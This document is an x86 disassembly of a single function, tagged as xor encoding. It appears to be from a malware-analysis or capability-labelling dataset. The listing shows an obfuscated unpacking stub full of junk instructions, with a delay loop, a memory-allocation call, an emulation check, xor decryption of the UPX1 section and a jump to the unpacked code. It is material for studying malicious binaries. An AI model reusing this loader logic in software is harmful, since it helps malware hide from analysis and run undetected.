Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x323e62ed
mov esi, 0x8b611d4b
add ebx, esi
and esi, ebx
popal
not ebx
inc esi
mov edi, 0
mov esi, ecx
not edx
not ebx
add edx, 0xa0a05fa
mov eax, esi
add ebx, ebx
sub edx, ebx
and edx, ebx
mov ecx, eax
add ebx, edx
sub edx, 1
add ebx, edx
add edi, 1
mov ebx, edx
not edx
cmp edi, 0x1009579
jne 0x47b44c
not ebx
not edx
and ebx, ebx
mov ebx, esi
sub ebx, esi
mov esi, 0x47b21e
mov edx, 0x2c83ae43
or ecx, edx
mov edi, 0xfc823281
mov eax, 0x47b412
sub edx, edi
add edx, edx
mov ebx, dword [esi]
mov edx, 0xb8c76918
mov ecx, 0xb13b9edf
add edi, ecx
and ebx, 0xff
mov edi, edx
sub edi, 0xe417b79c
xor dword [eax], ebx
mov edx, edi
inc edi
sub edi, 1
inc eax
mov ecx, edx
and edi, ecx
inc esi
or ecx, edi
dec ecx
cmp eax, entry0
jl 0x47b4a6
add edx, 0x17c0f097
add edx, 0x13328ac9
and edi, edx
not ecx
mov edx, edi
add ecx, 0x1bacc96e
mov ecx, ebx
or ebx, edx
not ecx
mov edi, 0x47b416
and esi, esi
and esi, ecx
mov edi, dword [edi]
add esi, 0x9088aadc
and ecx, esi
dec ebx
mov edi, dword [edi]
or ebx, ecx
not ebx
push edi
not ebx
mov edx, 0x80a4517c
mov ecx, edx
mov edi, 0x47b412
mov ebx, edx
dec ebx
add ecx, 0xda8d2d66
mov edi, dword [edi]
sub ebx, 0xb15829e
not esi
inc ebx
mov edi, dword [edi]
sub edx, 0x4f51ee44
sub edx, 0xd047cfad
push 0x47b41a
add ecx, ecx
sub ebx, 1
call edi
add ecx, ecx
sub edx, 1
pop edi
mov ebx, 0xc3636c3b
dec esi
sub esp, 4
mov dword [esp], 0x47b427
sub esi, 0xd93fb1c1
mov ebx, esi
push eax
add ecx, 1
not ecx
dec edx
call edi
add esi, 0x354dd3e7
mov ebx, esi
sub ebx, 0xb2e885c9
push 0x40
add ecx, 0x9dc16e03
sub edx, 0x9ca4fba0
push 0x3000
mov esi, ecx
or ecx, ebx
push 0x20000e06
or ebx, ebx
add ecx, 0x2955343d
mov edx, 0xf44243c6
push 0
inc edx
add ecx, 0x8e08cf4e
sub edx, 0x8595ae97
call eax
not ecx
mov ebx, 0xe089e657
sub edx, esi
add eax, 0x20000d4a
sub ebx, 1
sub ebx, 1
mov edi, 0x2d25542
mov ebx, 0xb1187eb0
add esi, edx
add ebx, edx
mov dword [eax], edi
sub edx, ebx
sub esi, 0xe011dfc4
inc edx
mov edi, dword [eax]
add edx, ebx
not ebx
cmp edi, 0x2d25542
je 0x47b61e
mov ebx, 0
mov edx, dword [ebx]
mov ecx, 0x6ce51b37
mov esi, 0x4eb092fc
and ebx, ecx
sub esi, 0xcb66672d
mov ecx, 0x607e481c
add esi, 0x46dbeedf
mov esi, ebx
not esi
mov edi, section.UPX1
add esi, 0x2bdcb3d4
and ebx, esi
dec ebx
mov edx, 0x47b21d
dec ebx
sub esi, ebx
dec ebx
mov eax, 0
mov ebx, esi
add ebx, 0xcd1c8ee6
mov ecx, 0x47b21e
sub esi, ebx
dec ebx
lea ecx, [ecx + eax]
inc ebx
mov ebx, esi
mov ecx, dword [ecx]
add esi, 0xe83a4c5b
not esi
and ecx, 0xff
not esi
add ebx, 0x2d7d5cd0
inc eax
or esi, ebx
not esi
cmp eax, 0x1f4
jne 0x47b69b
mov eax, 0
mov ebx, esi
add ebx, 0x9bc5bd0e
not esi
add ebx, 0xf0d28ef4
xor dword [edi], ecx
and ebx, esi
or ebx, ebx
add edi, 2
sub esi, ebx
mov esi, 0x6b7f692d
mov esi, ebx
cmp edi, edx
jl 0x47b663
mov esi, ebx
sub esi, 1
sub ebx, 0xc1f0b322
not esi
dec ebx
add esi, 0x39325210
mov esi, section.UPX1
sub edi, eax
not edi
mov ebx, section.UPX1
sub eax, edi
sub eax, 0x3ff7e685
or edi, eax
mov ecx, 0x47b21d
mov edi, 0xcc72800c
not edi
mov edx, 0
dec eax
add eax, eax
mov edi, 0x3366363f
mov dl, byte [ebx]
mov edi, eax
and edi, edi
mov byte [esi], dl
sub edi, 0x9cd77215
mov edi, 0x21e202bf
inc esi
not eax
sub edi, 0x3c68efa9
add eax, 0x11d96c6b
add ebx, 2
mov eax, 0x5a07599b
or edi, eax
cmp ebx, ecx
jle 0x47b710
sub edi, 0x52c691bc
sub eax, edi
or ebx, ebx
inc esi
sub esp, 4
mov dword [esp], 0x45e6a0
or ebx, esi
inc esi
add esi, ebx
ret